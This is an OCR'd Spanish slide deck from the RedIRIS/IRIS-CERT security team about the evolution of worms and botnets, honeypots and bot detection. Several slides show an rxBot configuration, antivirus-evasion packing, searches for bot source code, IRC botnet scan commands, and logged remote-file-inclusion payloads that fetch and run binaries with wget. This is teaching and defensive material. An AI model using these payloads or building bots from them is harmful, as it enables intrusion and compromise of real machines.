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- RedIRIS - Red Académica y de Investigacion & 3IRIS

red

THELER

J Proporciona infraestructura de red y servicios complementarios a
la comunidad académica y de investigacion espanola

d Establecida en 1991

d Financiada por el Plan Nacional de [+D+l

Integrada como un departamento con autonomia e identidad
propia en el seno de la Entidad Publica Empresarial Red.es

En la actualidad conecta a 250 centros (Universidades, centros
publicos de investigacion, etc.)
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red es Red.es

http://www.red.es

Organismo publico espaiol encargado del fomento de la sociedad de la
informacion.

*Reciente creacion
Agrupa a diversos servicios publicos relacionados con Internet
M Registo NIC para Espana.
4 Administracion Electrénica
U Alertas de seguridad http://www.alertaantivirus.es
d Fomento de Internet (todos.es, Internet Rural, ...

J RedIRIS
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http://www.red.es/
http://www.alertaantivirus.es/

r‘éd o5 RedIRIS - Red Troncal -

d Un punto de presencia en cada Comunidad auténomona.

d La gestion a partir de este punto corresponde a cada una de las
instituciones

CANARIAS




- Redes Académicas en Europa

Organizacién similar en otros paises
europeos:

J Una red nacional de 1+D

d Interconexion de las distintas
redes regionales entre si.
(Geant)

d Conexién de esta red
paneuropea a Internet2 y otras
redes de investigacion.

4 Acuerdos adicionales de
conexion de cada red con
Carrier y proveedores

nacionales.
Pe%es



red es RedIRIS - Servicios

Ademas de la interconexion y acceso a Internet RedIRIS proporciona
diversos servicios a la comunidad cientifica:

d Coordinacion de servicios de Internet

H Celebracion de reuniones técnicas con los responsables de las
Universidades y Organismos conectados

4 Presencia en proyectos Internacionales

J Soporte a grupos de Investigacion: listas de correo electrénico,
espacio WWW, etc.

d Coordinacion de incidentes de seguridad
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Péd cs IRIS-CERT (I)

http://lwww.rediris.es/cert

*Equipo de atencion de incidentes de seguridad de la Red Académica y de
Investigacion Espainola (CERT/CSIRT/IRT)

Creado en 1995
4 personas dependiendo de un coordinador técnico

Ambito de actuacion (constituency)
*Servicio completo [ Instituciones conectadas a RedIRIS (AS766)
*Servicio limitado OO dominio .es

gestion de incidentes y coordinacion con otros equipos de seguridad

red.es



http://www.rediris.es/cert

ré,d o5 IRIS-CERT - servicios Proporcionados (I) - A 2IRIS

Q Servicios Reactivos
* Analisis Forense (sin repercusiones legales)
- Soporte en la Respuesta de Incidentes

- Coordinacion con otros equipos de seguridad ] dominio .es
4 Servicios Proactivos

- Observacion de tendencias

+ Mantenimiento de herramientas y documentacion (WWW/FTP)

- Enlaces a sitios relevantes de seguridad, otras listas de seguridad y
grupos de noticias (en WWW)

red.es



“ed e IRIS-CERT Actividades

H Deteccion temprana de ataques:
» Sistemas Trampa para detectar nuevos patrones de ataques

* Monitorizacién de trafico
H Coordinacion de seguridad

e Con las instituciones conectadas a RedIRIS

» Con los ISP Espanoles

» Grupos de Seguridad internacionales

red.es




redes Otros servicios y Grupos de Trabajo ™ ZRIS

0 Gestion y mantenimiento de un Servidor de Claves Publicas PGP O
servicio publico

> http://www.rediris.es/keyserver/

O Infraestructura de Clave Publica para la Comunidad RedIRIS (RedIRIS-
PKI) [ servicio restringido a la comunidad RedIRIS

- http://www.rediris.es/pki/

O |RIS-CERT puede actuar como punto de contacto entre las instituciones
afiliadas y las Fuerzas de Seguridad del Estado

- Solo asesoramiento técnico
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red e Relacion con la comunidad

O Autoridad compartida

J Es obligatorio disponer de al menos un punto de contacto de seguridad
por cada institucion afiliada a RedIRIS (servicio completo)

- Dado por el PER (Punto de Enlace con RedIRIS)

- Se suscriben a la lista de coordinacion de seguridad (IRIS-CERT)

- Mantenimiento de informacion de contacto en BBDD interna (LDAP)

O No es obligatorio este punto de contacto para las instituciones con
servicio limitado

red.es



redes Evolucién de los incidentes de seguridadZIRIS

Sigue aumentando el numero de

o incidentes reportados cada ano.
Evolucion incidentes

1800 seguridad
/ J Cambios en los
1600 / procedimientos hacen que el
1400 /\\/ numero de equipos atacados
1200 / sea mayor.
/ d Modificaciones en la tendencia
1000 / _ del tipo de objetivo: usuario
" Incidentes .
800 reportados final.
600 / d Medidas de deteccion
/ temprana evitan propagacion
400 de algunos tipos de ataques.
200 d Mediciones  de  ataques
0 - (escaneos indican mas de 50
1999 2000 2001 2002 2003 2004 ataques/dia para una red de
16 equipos)
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Evolucion de los ataques en Internet




red.es Intrusiones tipicas

Los equipos de Universidades eran objetivo de los ataques

U Conectados 24x7 Internet
U Mejores prestaciones que las de un usuario domestico
 Escasas medidas de seguridad

Técnicas:

 Equipos sin actualizar
J Configuraciones tipicas vulnerables
J Contrasefias inseguras

A partir de 2000 los servidores principales dejan de ser el objetivo
preferente de los ataques
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redcs Fases de Un ataque

1. Acceso

d Mediante un fallo de seguridad el atacante consigue entrar al
sistema

* Empleo de fallos locales para acceder como administrador
2.Consolidacién

J Eliminar las pruebas del ataque
d Instalacion de herramientas “rootkit”

 Qcultar las acciones (ficheros, procesos, etc del atacante)

* Permitir nuevos accesos de una forma facil
3. Uso

J Empleo del sistema para diversos fines

Pe%es



redes Afio 2000

Reaparecen los “Gusanos Informaticos” y DDOS

1 1989: “El gusano de Morris”.

H Diversos gusanos de propagacion automatica: liOn, ramen,sadmind,
* Inicialmente debidos a vulnerabilidades en diversos programas
de equipos Linux.

* Inicialmente con escasa “carga danina” , surgen diversas
variedades

* Problemas de saturacion en algunas redes académicas

« Surgen versiones “multiplataforma” , como sadmind

red.es




red es GUsanos

Gusano:

d Programa con facilidades para autoduplicarse y autotransmitirse
empleando sobre todo redes

* No madifica otros programas (virus)
* No cambia

* Funcionalidades limitadas
J Fueron descritos de forma tedrica en 1992 (ACM)

En 1988 un gusano (Morris) provoco la creacion de los primeros
grupos de seguridad (CERT/CC) tras infectar 6000 equipos
Pe%es



redes Denegacion de Servicio

Ataques de Denegacion de Servicio.

K El Objetivo del ataque no es ni el acceso a un sistema informatico ni
el robo de informacion sino la denegacion de servicio.

H Para que el ataque tenga éxito el atacante debe generar mas trafico
de la que puede procesar el atacado.

d Mediante la distribucion (varios equipos simultdneamente) los
atacantes consiguen colapsar a la victima.

J Este afio aparecen diversas herramientas que son empleadas para
atacar portales famosos: ebay, yahoo, cnn.

 Perdidas millonarias (seguros, credibilidad)
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red.es Ano 2001

Primeros gusanos en Windows

d CodeRed, nimda

U Problemas de seguridad en la instalacion por defecto del servidor
lIS contenido en Windows NT 4

U Escasa cultura de actualizacién y actualizacion de equipos

1 CodeRed: Propagacion sin la instalacion de binarios ni compromiso
del equipo

' Nimda: Explotacién de diversos fallos de seguridad, dejando puertas
abiertas a ataques posteriores.

J Problemas de saturacion en algunas redes comerciales
d Ambos gusanos destinados sobre todo a servidores
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redes Afio 2002

Problemas de seguridad en usuarios finales.

 Escasa repercusion de vulnerabilidades importantes en servidores.
» Los equipos son actualizados con mas frecuencia.
» Deteccion temprana de los ataques.

* Mayor concienciacion de los problemas de seguridad en las
instalaciones.
J Diversas vulnerabilidades en programas de correo electrénico
ayudan a la propagacion del gusanos.

» Colapso de servidores de correo electronico.

» Saturacion de redes

red.es




redes Afio 2003

Gusanos de propagacion masiva.

d Surgen diversos gusanos en servicios usados frecuentemente por
usuarios finales:

* Ms-sql : slammer, sqlnake ,etc.

* NetBios: Blaster, nachi, etc.

d Microsoft habia desarrollado parches para solucionar la
vulnerabilidad, pero gran parte de los usuarios domeésticos no los
habian aplicado.

U Gran velocidad de propagacion:

* Infeccion de equipos mientras se actualiza

« Saturacion en algunas redes

Pe%es



red.es Ano 2004

Se confirma la tendencia al ataque a plataformas comunes y usuarios
domeésticos:

J Aumento del ancho de banda y prestaciones de equipos conectados
permanentemente.

U Baja proteccion de estos equipos.

J Imposibilidad de los grandes proveedores de realizar acciones
preventivas

J Modificaciones diarias del cédigo de gusanos y ataques

* Phatbot, agobot, etc.
4 Proliferacion de las “botnets” , redes de equipos atacados.
U Uso para acciones ilegales de estos equipos atacados.
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redes Ano 2005

¢ Qué nos hemos encontrado en 2005 ?

4 Bots, gusanos, virus
 Contrasefias débiles

d Ataques a servidores WWW

J Falsificacion de empresas
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Botnet:

1 Redes de equipos comprometidos (bots) controlados desde un
equipo central , empleando frecuentemente protocolos como IRC
para controlar los equipos.

 Gusanos propagados por correo-e con instalacion de puertas falsas.
H Refinamiento de botnet

« Control remoto
» Escaneo y propagacion en otras redes.
 Encriptacion de canales y binarios

 Empleo de DNS para la redireccion de los ataques

Pe%es




red.es Bots & Zombies

Bot::

d Inicialmente del termino “robot”, se aplicaba a trozos de codigo
que simulaban una identidad

e Control de canales en IRC

« Simulacién de jugadores en juegos multijugador.

J Su definicion se generaliza a programas “sirvientes” , que
realizan determinadas acciones en base comandos emitidos
desde el controlador.

Zombies:

d Maquinas comprometidas usadas en DDOS (afio 2000)

A partir de 2003 se generaliza el termino botnet (red de bots) para
describir las redes de equipos comprometidos controlados por un

canal de IRC
Pe%es



red.es Bot e IRC

J Empleado inicialmente solamente para compartir informacion
entre los grupos de atacantes

O Hasta el 2002 era frecuente el compromiso de equipos
Unix/Linux para la instalacion de servidores de IRC privados y
proxies

4 Debido a que todas las conexiones provienen del servidor no es
posible observando el trafico de un equipo comprometido
descubrir desde donde se conecta el atacante.

4 Su uso muy extendido en algunas comunidades impide el
filtrado del trafico hacia estos servidores.
* Si se filtra el 6667, ¢ por qué no emplear el 80 ?
4 Protocolo facil de depurar

d Modificaciones en los servidores para ocultar informacion
(numero de equipos, direcciones de conexion, etc).
Pe%es
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red.es Construccion de bots

“Unidn de esfuerzos” entre escritores de Gusanos y Bots.

d Misma traza de ataque.

d Los gusanos dejan puertas abiertas que después son empleadas
para ampliar las botnet

d Empleo de vulnerabilidades existentes en coédigo de gusanos y
puertas falsas.

Existencia del codigo fuente de estos bots , hace muy facil la actualizacion
y modificacion de los mismos.

El empleo de técnicas de compresion y encriptacién en los binarios hacen
dificil el uso de Antivirus como herramienta de detecciéon de los binarios.
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d Escaneo de diversas vulnerabilidades

» Servicios de sistemas operativos: DCOM (135/TCP), DS (445/TCP), MS-SQL

(1443)

» Puertas traseras existentes: (Remote admin (6129/TCP), Agobot (3127/TCP).

1 Acceso a recursos compartidos (discos e impresoras)
» Ataques de fuerza bruta contra claves vulnerables

» Permiten habilitar//desabilitar estos servicios
O Pueden funcionar como proxy (HTTP, socks)
O Pueden actualizarse y ejecutar programas
1 Recogida de informacion

* Pulsaciones de teclado

» Claves de acceso a distintos servicios y licencias.
1 Empleo para otros servicios

red.es



red.es El gran bazar

Segun indican diversas fuentes existe un floreciente mercado de compra
de estos equipos.

4 Intercambio de herramientas y ataques
J Compra/venta de equipos comprometidos (¢ 50$ la docena ?) .

 Para la difusiéon de SPAM
» Ataque a otros sistemas

* Falsificacion de mensajes de banca electrénica.
H Extorsion a sitios de comercio electronico:

* Denegacion de servicio contra sistemas de comercio y/o juegos
on-line

* Robo de informacion bancaria

red.es



Creacidn de una botnet




red.cs Busqueda del codigo

El codigo fuente de gran parte de los bots y gusanos circula por Internet.

4 Via “google” se puede buscar sitios que contengan bots

J En redes P2P también es posible encontrar ficheros conteniendo el
codigo fuente de distintos bots.

U En foros y canales de IRC es posible también obtener otros bots.

Hay que tener sin embargo en cuenta:

4 El codigo puede tener “puertas traseras” no documentadas

U Otros bots se distribuyen en formato “binario” con un pequefio
programa de configuracion adicional.
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Archivo Editar Ver Ir Marcadores Hemamientas Ayuda

<:i| - ED' - %I O @ IG| http://www.google.com/search?num=50&hl=en&lr=& |+ @ @ Ir |Gl buscar ficheros

L4 || Dag Apt Repository Gﬂﬂgle | “ICosas aver | JEnlaces [7 Please update your bo... Index of fvxdevl/paper... Eed

(9 s |22 Re... | [Glbot... [Clin... | A\ Pr.. | /A Pr... |% Se...| 4As...|[Clind... @ Ind... @ind... m8....|
Sign in | &
Images Groups MNews Froogle Maps more =
GO L)g le Imntle index.of. mbot -htm -html -php -asp Search w
Web Results 1 - 3 of 3 for Intitle:index. of. rxbot -htm -html -php -asp. (0.41 seconds)
Intentar la bdsgqueda en Yahoo, Ask, AllTheWeb, Teoma, MSN, Lycos, Technorati, Feedster, Bloglines, Altavista
1. Index of /mirror 7
« 14-Jun-20035 19:47 - [DIR] Other/ 14-Jun-2003 20:10 - [DIR] PhatBot’ 14-Jun-2005 20:55 -
[DIR] Rbot’ 14-Jun-2003 21:08 - [DIR] RxBot/ 14-Jun-2003 21:27 ...
firdwlrm.xvision-hosting.com/mirror - 3k - Supplemental Result -
ALEXA.COM Cached - Similar pages - Filtros - Historial - Site info
2. Index of //outlaw/source/Bots/ rBots/
rxbot 0.6.5 pkrar, rar, 244.5 KB, download, 08-04-05. rebot06.5.rar, rar, 205.3 KB,
download, 08-04-05. BotO[1].6.6a.rar, rar, 209.0 KB, download ... ]
wiww. awarenetwork.org/home/outlaw/source/Bots/_rBots/ - 17k - Supplemental Result -
ALEXA.COM Cached - Similar pages - Filtros - Historial - Site info
3. Index of /public/sources:
29-Jul-2005 06:28 125k [ ] RxBoT-MoHaMmEd.zip 29-Jul-20035 05:50 350K [ ] Sbotrar
03-Aug-2003 13:44 ... 29-Jul-2003 06:19 293k [ ] rBot_(RxBeoT) 041304-. ...
www.ddOsed.com/public/sources’ - 9k - Supplemental Result -
ALEXA.COM Cached - Similar pages - Filtros - Historial - Site info
]
Terminado A515169 @ 1.633s GP| 66.249.85.104 (1 more) | ™1 || @ e (| R | 3 |

rcuts

o

_ -
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' red.es Busqueda de bots A ZRIS

Archive Editar Mer |Ir Marcadores Herramientas Ayuda

N T [ L http://www.awarenetwork.org/home/outlaw/source/B g._' @ Ir |Gl buscar ficheros

|| Dag Apt Repository |_C-_]]Guugle 1Cosas aver [ JEnlaces r Please update your bo... Index of vxdevl/paper...

name -
=
ﬁi rbot 0.3.3 public.rar
ﬁi rbot-0.3. 2-fix1-public.rar
ﬁi rbot-smod. rar
i’ﬁ rboté.Gar
ﬁi rxbot 0.6.5 pk.rar
ﬁi rxbot06.5ar
Bl nEoto[L].6.6amr
Bl nBoto[i].6.6b.rar
ﬁi rx_dev.rar

H= M= = = 4+ = = -

.lain

Terminado AS3505 {‘. 1.633s 700.51.131.116




red

, Compilacion del binario

Se edita el fichero de configuracion:

Archivo Editar WYer Terminal Solapas

#else J/ Recommended to use this only for Crypt() setup, this is unsecure.

char botid[] = "rxrOxs24"; J4 bot id

char version[] = "[rxBot v0.7.8 Private Lsass+IIs5ss]l By Niks]"; S/ Bots lversion reply

char password[] = H
char serwver[] = "";
char serverpass[] = "";
char channel[] = "";
char chanpass[] = "";
char serwver2[] = H
char channel2[] = "";

char chanpass2[] = H

char filename[] = "mswins.exe";

char keylogfile[] = "keys.txt";

char wvaluename[] = "Microsoft Update";
char nickconst[] = "smEg|";

char modeonconn[] = "-x+B";

char chanmode[] = "+n+t";

char exploitchan[] = "";

char keylogchan[] = H
char psniffchan[] = "";

Ehar *authost[] = {

/4 bot password
J{ server
S/ server password
/4 chammel that the bot should join
/' chamnel password
S/ backup server (optional)
/ backup channel (optional)
/4 backup channel password (optional)
4 destination file name
S keylog filename
S/ wvalue name for autostart
S/ first part to the bot's nick
J4 Can be more than one mode and contain both +

S/ Chammel mode after joining
/' Chamnel where exploit messages get redirecte

S/ Channel where keylog messages get redirected
/¢ Chamnel where psniff messages get redirected

67,1
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d
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redes Cifrado de binario

Una vez compilado el fichero conviene cifrarlo para:

d evitar el andlisis mediante la busqueda de cadenas

H Ocultar la informacion (canal de irc, servidor, claves,etc)
J Dificultar la deteccién por Antivirus

J Complicar el andlisis de los ficheros.

Los ficheros se cifran una o mas veces, empleando diversos programas:

J PECompact2

J UPX (y variaciones de este)
4.

Pe%es




red es Difusion del bot

El bot se puede ahora difundir:

4 Via correo electréonico en anexos enviados a direcciones de correo
electronico.

d Disimulando su nombre en redes P2P

 Empleando la propia botnet para escanear y comprometer equipos.

d Empleando una botnet ya existente indicandole que ejecute el
nuevo codigo de la bot.
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red.es Compromiso via botnet

Inicialmente:

Se dispone de un equipo
Servidor IRC comprometido conectado a
un servidor IRC

El atacante se conecta al canal

Victima IRC donde esta su bot y
parece en principio como
j otro usuario mas del canal.

Bot
funcionando PB%S




red.es Compromiso via botnet (I)

1)Via IRC el atacante cambia el

‘advscan dcom445 50 0 titulo o “topic” del canal para que
los bots / zombies empiecen a
Servidor IRC atacar.
Victima

Lo

Bot
funcionando PB%S




red.es Compromiso via botnet (II)

1)Via IRC el atacante cambia el

‘advscan dcom445 50 0 titulo o “topic” del canal para que
los bots / zombies empiecen a
Servidor IRC atacar.

2)El bot lanza el ataque contra un
sistema vulnerable , generalmente
el ataque genera una shell sobre la

, cual se lanza un fichero “.bat”
Victima

L

Bot
funcionando re g




red.es Compromiso via botnet (III)

1)Via IRC el atacante cambia el

‘advscan dcom445 50 0 titulo o “topic” del canal para que
los bots / zombies empiecen a
Servidor IRC atacar.

2)El bot lanza el ataque contra un
sistema vulnerable , generalmente
el ataque genera una shell sobre la
cual se lanza un fichero “.bat”

3)La victima descarga via TFTP el
programa del bot en el equipo
comprometido.

Bot
funcionando PB%S




red.es Compromiso via botnet (IV)

1)Via IRC el atacante cambia el

‘advscan dcom445 50 0 titulo o “topic” del canal para que
los bots / zombies empiecen a

Servidor IRC atacar.
2)El bot lanza el ataque contra un
PN sistema vulnerable , generalmente

el ataque genera una shell sobre la
cual se lanza un fichero “.bat”

Victima o )
3)La victima descarga via TFTP el
programa del bot en el equipo
— comprometido.

4)La maquina victima se conecta
al servidor de IRC y siguen los
ataques.

Bot

funcionando PB%S




s Log de IRC

G"B<NONC2GRC 8211476"MB>"O [ SCAN : Random Port Scan started on 195.251.x.x:135 with a delay of 5 seconds for O
m nut es usi ng 100 t hreads.

ACL2***~AC02 "C2topic: djnms pone: O .advscan dcomd45 50 5 0 -r -b

ACBMB<MNOMCQ2USA| 550057 C6MB>"0O [ SCAN : Random Port Scan started on 195.251.x.x:135 with a delay of 5 seconds for
0 minutes using 100 threads.

NBMB<NOMQRFRA| 777137C6"B>"O [ SCAN] : Random Port Scan started on 81.185.x.x:135 with a delay of 5 seconds for O
m nut es usi ng 100 t hreads.

ACL2***AQD2"C10 GBR| 41449 ~Cl12(~Cl10 hyxct"Cl2@ Cl103C8459D9. 707A940D. 6CBAAL7A. | P ~C12)~Cl10 entra [ 12: 33]
ACL2***AQ02"C10 USA| 97640 ~C12(~Cl0 auni wc"Cl2@ C10612B053. DADOD843. 77BAA24E. | P ~C12)~Cl10 entra [ 12: 33]

ANCBAB<NOMQR2GRC 401350CeMB>"0O [ SCAN : Random Port Scan started on 195.251.x.x:135 with a delay of 5 seconds for
0 minutes using 100 threads.

ANCBMB<NOMQUSA| 976400 C6MB>"0O [ SCAN|: Random Port Scan started on 10.44.x.x:445 with a delay of 5 seconds for 0O
m nut es using 50 threads.

NBNB<NO'Q2GBR| 41449"BM"B>"O [ SCAN|: Failed to start scan thread, error: <8>.

6"B<"O"C2USA| 112217C6"B>"O [ SCAN|: Random Port Scan started on 10.44.x.x:445 with a delay of 5 seconds for O
m nut es usi ng 50 t hreads.

NCBAB<MNOMCQ2USA| 818050 C6MB>"O [ Dcomid5] : Exploiting | P: 195. 251. 253. 73.

NBNBAONC2USA| 81805°C6MNB>"O [ TFTP]: File transfer conplete to IP: 195.251. 253. 73 (C \ WNNT\ Syst enB2\ vpc. exe).
ACL2***ACO2ACL0 USA| 84454 ~C12(~C10 | eaf z"C12@ C1LOE380DED. 445CCCD1. 77BAA24E. | P ~"C12)~"C10 entra [12: 35]
ACL2***ACD2/CLO0 RUS| 28197 ~Cl2("~Cl0 zngptr~Cl2@ CLO3DE260EE. 74FA6033. 2EEQ75C8. | P ~C12)~Cl10 entra [ 12: 35]

ANCBNB<AONC2USA| 844547C6MB>"O [ SCAN : Random Port Scan started on 195.352.x.x:445 with a delay of 5 seconds for
O mnutes using 50 thread

..... Ped S
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¢, Coémo sabe un bot donde encontrar su servidor de IRC ?

1 Dominios de tercer nivel gratuitos, ej dyndns, freedns,etc

1 Dominios de segundo nivel con TTL muy cortos (1 hora=; .biz,
.info

El atacante solo tiene que conseguir un equipo comprometido donde
“plantar” el servidor de IRC de control.

En caso de eliminacion del servidor de control el atacante solo tiene
tiene que buscar otro equipo y cambiar el DNS.

Técnica empleada también para:

J Falsificacion de servidores WWW en incidencias de SPAM vy
falsificacion de mensajes

U Muchas veces los equipos comprometidos solo actuan de
“’proxies” .

Pe%es



redes Ultimas tendencias de bots

Empleo de bots para controlar sistemas Unix/Linux:

J Equipos con servidores WWW publicos, pero vulnerables.
J Mejor conectividad que los sistemas residenciales.
1 Suelen funcionar 24x7 , mientras que los usuarios domesticos no.

J El bot no necesita un acceso como “Administrador’/root, puede
funcionar via servidor WWW.

Predominan los bots para aplicaciones PHP sobre servidores Apache.
J Plataforma méas comun.

U Vulnerabilidades en aplicaciones

Los bots suelen estar escritos en Perl , lo que permite su portabilidad

Pe%es



- Deteccion de bots en Unix:

Solo hace falta buscar en los logs de los servidores HTTP:

Archive Editar Mer Terminal Solapas Ayuda

4 303

69.13.179.46 - — [16/Dec/2005:21:21:57 +0100] "GET /(index2.php?Yoption=com_content&do_pdf=1&id=1index2.php?_ REQUEST[option]=co
m_content& REQUEST[Itemid]=1&GLOBALS=&mosConfig_ absolute_path=http://81.174.26.111 /cmd. gif?&cmd=cd¥%20,/tmp ;wgetH%20128.173.40.1
13/1ldisten; chmod%20744%201listen; . /flisten; echo%20YYY ; echo | HTTP/1.1" 404 287

69.13.179.46 - — [16/Dec/2005:21:21:58 +0100] "GET /index.php?option=com_content&do_pdf=1&id=1index2.php?_ REQUEST[option]=com
_content& REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd. gif?&cmd=cd®20,/tmp ;wget®%20128.173.40.11
IS ldsten ; chmod®%20744%201isten; . flisten; echo%20YYY ; echo | HTTP/1.1" 404 286

69.13.179.46 - — [16/Dec/2005:21:21:59 +0100] "GET /mambo/index2.php?_ REQUEST[option]=com_content& REQUEST[Itemid]=1&GLOBALS=
S&mosConfig absolute_path=http://81.174.26.111 /cmd. gif?P&cmd=cd¥%20,/tmp ;wgetH20128.173.40.113/1listen; chmod®%20744%201listen; . //1list
en;echo%20YYY ; echo | HITP/1.1" 404 203

69.13.179.46 - — [16/Dec/2005:21:22:00 +0100] "GET Scwvs/mambo/index2.php?_ REQUEST[option]=com_content& REQUEST[Itemid]=1&GLOB
ALS=&mosConfig_absolute_path=http://81.174.26.111/cmd. gif?&cmd=cd¥20,/tmp ; wget®%20128.173.40.113/1listen; chmod®%20744%201listen; ./
listen;echo¥%20¥YY ; echo | HTTP/1.1" 404 297

82.107 .47 .39 - - [17/Dec/2005:07:20:59 +0100] "-" 408 -

195.82.6.3 - - [17/Dec/2005:09:59:52 +0100] "GET /modules/Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_path=http:
A4SBL.AT4A4.268.111 'emd . gif?&cmd=cd®%20,/tmp ; wget%20216.15.209 . 4/criman; chmod®%207 44%20criman; . /criman; echo®%20YYY ; echo | HTTP/1.1" 4
04 330

195.82.6.3 - - [17/Dec/2005:09:59:53 +0100] "GET /Forums,admin/admin_styles.phpadmin_stvles.php?phpbb_root_path=http://81.174
.26.111 /Yemd . gifPE&cmd=cd®%20,/ tmp ; wget®%20216.15. 209 . 4/criman ; chmod®%207 44%20criman; . /fcriman; echo®%20YYY ; echo | HITP1.1" 404 322
195.82.6.3 - - [17/Dec,/2005:09:59:56 +0100] "POST /xmlrpc.php HITTP/1.1" 404 287

195.82.6.3 - - [17/Dec/2005:09:59:58 +0100] "POST /blog/xmlrpc.php HTTP/1.1" 404 292

195.82.6.3 - - [17/Dec/2005:09:59:59 +0100] "POST blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 299

195.82.6.3 - - [17/Dec,/2005:10:00:01 +0100] "POST /blogs/xmlsrv/xmlrpc.php HITP/1.1" 404 300

195.82.6.3 - - [17/Dec,/2005:10:00:03 +0100] "POST drupal/xmlrpc.php HTTP/1.1" 404 294

195.82.6.3 - - [17/Dec/2005:10:00:04 +0100] "POST /phpgroupware/xmlrpc.php HITP/1.1" 404 300

195.82.6.3 - - [17/Dec/2005:10:00:06 +0100] "POST wordpress/xmlrpc.php HITP,/1.1" 404 297

195.82.6.3 - - [17/Dec/2005:10:00:08 +0100] "POST /xmlrpc.php HITP/1.1" 404 287

195.82.6.3 - - [17/Dec/2005:10:00:09 +0100] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 404 294

195.82.6.3 - - [17/Dec,/2005:10:00:11 +0100] "POST /xmlsrv,/xmlrpc.php HTTP/1.1" 404 294

201.38.115.213 - - [17¥/Dec/2005:13:10:16 +0100] "HEAD / HTTP/1.0" 200 0O

213.171.206.164 — - [17/Dec/2005:20:09:10 +0100] "GET / HTTP/1.0" 200 1374

213 .128.98.75 — — [17/Dec/2005:23:34:19 +0100] "GET /modules,/Forums/admin/admin_ stvles.phpadmin stvles.php?Pphpbb_root_path=ht

tp://81.174.26.111 /cmd . gif?&cmd=cd®%20/tmp ;wget®H20216.15.209 . 4/criman; chmod®%20744%20criman; . /criman; echo®%20YYY ; echo | HTTP/1.1
" 404 330

213.128.98.75 - - [17V/Dec,/2005:23:34:20 +0100] "GET /Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_path=http://81.
174.26.111 /cmd . gif?&cmd=cd¥®%20,/tmp ; wget®20216.15. 209 .4 /'criman; chmod®%20744%20criman; . /criman; echo®%20YYY ; echo | HTTP/1.1" 404 32
2

——More——
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Deteccion y analisis de bots




red.es Honeypots

El termino honeypot “tarro de miel” hace referencia a equipos facilmente
atacables.

J Los atacantes buscan sistemas vulnerables a los que acceder.

d El honeypot es una “maquina trampa” , vulnerable a los ataques
pero monitorizada para detectar la intrusion.

d Se puede examinar las acciones que realiza el atacante, sin que
este se de cuenta.

Popularizados a partir del ano 2000, http://www.honeynet.org

4 Han permitido la deteccion de nuevos vectores de ataques.

J Ayudado a la formalizacién de las técnicas de analisis forense
digital.

Pe%es


http://www.honeynet.org/

red.es Honeypots (1II)

Existen tres tipos de honeypots:

Hd Alta interaccion: Equipo completo vulnerable al que el atacante
puede acceder.

* Maquinas fisicas.

» Sistemas virtuales..

H Baja interaccién: Simulacion de un servicio o aplicacion, empleado
sobre todo para la deteccion de nuevos ataques.

 Media interaccion: Simulan un servicio vulnerable y son capaces de
simular la ejecucion del cddigo del atague como si este hubiera

tenido exito.
Pe%es



red.es Honeypots (I1I)

Honeypots de interaccion media:

4 Simulan uno o varios servicios vulnerables por ejemplo MS-RPC .

d Analizan el codigo recibido del ataque y simulan la ejecucion del
ataque.

EIDesc:argan el binario indicado en el ataque , obteniendo asi el
codigo malicioso.

Existen dos implementaciones:

J Multipot, http://labs.idefense.com/labs-software.php?show=9 sobre
plataforma windows.

d Nepenthes, http://nepenthes.mwcollect.org , es el mas empleado

tras su unidon con mwcollect.
Pe%es


http://nepenthes.mwcollect.org/

redecs Bots en RedIRIS

Proyecto en RedIRIS para la captura de bots

 Captura del trafico destinado al puerto 445
J Empleo de mwecollect para obtener muestras a analizar

zao

B ICHOS

B warms Downloaded

EH 1T<F =vH

10 4

PEETREF L1

130 T30l ¢ Tnalady

4341

Fri ) i sat Sun i Mo

TUE

Detected in the backbone to port 445 4:4000

wed

B Accepted connections Capplicatiaonl 1:10
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red e Deteccion de bots

Muchas veces la infeccion no la detecta una maquina trampa:

 Usuarios que indican que el equipo no les funciona correctamente.
H Quejas externas sobre ataques desde la organizacion.

d Herramientas de monitorizacién de trafico detectan patrones
anomalos.

Jd..

Al final hay que detectar que programa se ha instalado en el equipo.

Pe%es



Por lo general desde RedIRIS solemos solicitar que se nos envie el fichero
para analizarlo.

Herramientas gratuitas como:

' Secheck, http://www.mynetwatchman.com/tools/sc
 Hijackthis, http://www.spywareinfo.com/~merijn

permiten generar un informe de los programas que estan corriendo en un
equipo Windows, puertos usados,etc.

L A partir de este informe se puede detectar muchas veces cual es el
codigo malicioso.

Pe%es



http://www.mynetwatchman.com/tools/sc
http://www.spywareinfo.com/~merijn

Seccheck

Archivo Editar Ver Terminal Solapas Ayuda
PID 1264: WebClient = "Cliente Web" / "C:\WINDOWS%system32\svchost.exe -k LocalService"

PID 1060: winmgmt = "Instrumental de administracidn de Windows" / "C:\WINDOWS‘system32‘svchost.exe -k netsvcs"

PID 1060: wscsve = "Centro de seguridad" / "C:\WINDOWS‘\S5ystem32%svchost.exe -k netsvcs"

PID 1060: wuauserv = "Actualizaciones automaticas" / "C:A\WINDOWS‘\system32\svchost.exe -k netsvcs"
PID 1060: WEZCSVC = "Configuracidn inalambrica rapida" / "C:\WINDOWS‘\System32\svchost.exe -k netsvcs"

TCP table:

PID 956 0.0.0.0:135 LISTENING (** Service **) C:A\WINDOWS‘\system32\svchost.exe

FID 4 0.0.0.0:445 LISTENING System

FID 452 127.0.0.1:1025 LISTENING (** Service **) C:\WINDOWS\System32\alg.exe

FID 4 192.168.150.254:139 LISTENING System

FID 4 192.168.150.254:445 192.168.150.1:59272 ESTABLISHED  System

FID 208 192.168.150.254:1108 192 .168.151.2:9136 SYN_SENT  C:\WINDOWS\system32\mwupdate3Z.exe
FID 1060 192.168.150.254:1109 192 .168.151.2:80 SYN_SENT (** Service **) C:A\WINDOWSSystem32\svchost.
UDP table:

PID 4 0.0.0.0:445  System

PID 700 0.0.0.0:500 (** Service **) C:A\WINDOWS‘\system32%lsass.exe

FID 1148 0.0.0.0:1029 (** Service **) C:\WINDOWS\system32\svchost.exe

PID 700 0.0.0.0:4500 (** Service **) C:\WINDOWS‘\system32\lsass.exe

PID 1060 127.0.0.1:123 (** Service **) C:\WINDOWS“\System32'svchost.exe

PID 1264 127.0.0.1:1900 (** Service **) C:A\WINDOWS‘\system32\svchost.exe

PID 1060 192.168.150.254:123 (** Service *¥*) C:A\WINDOWSYSystem32%svchost.exe

FID 4 192.168.150.254:137 System

FID 4 192.168.150.254:138 System

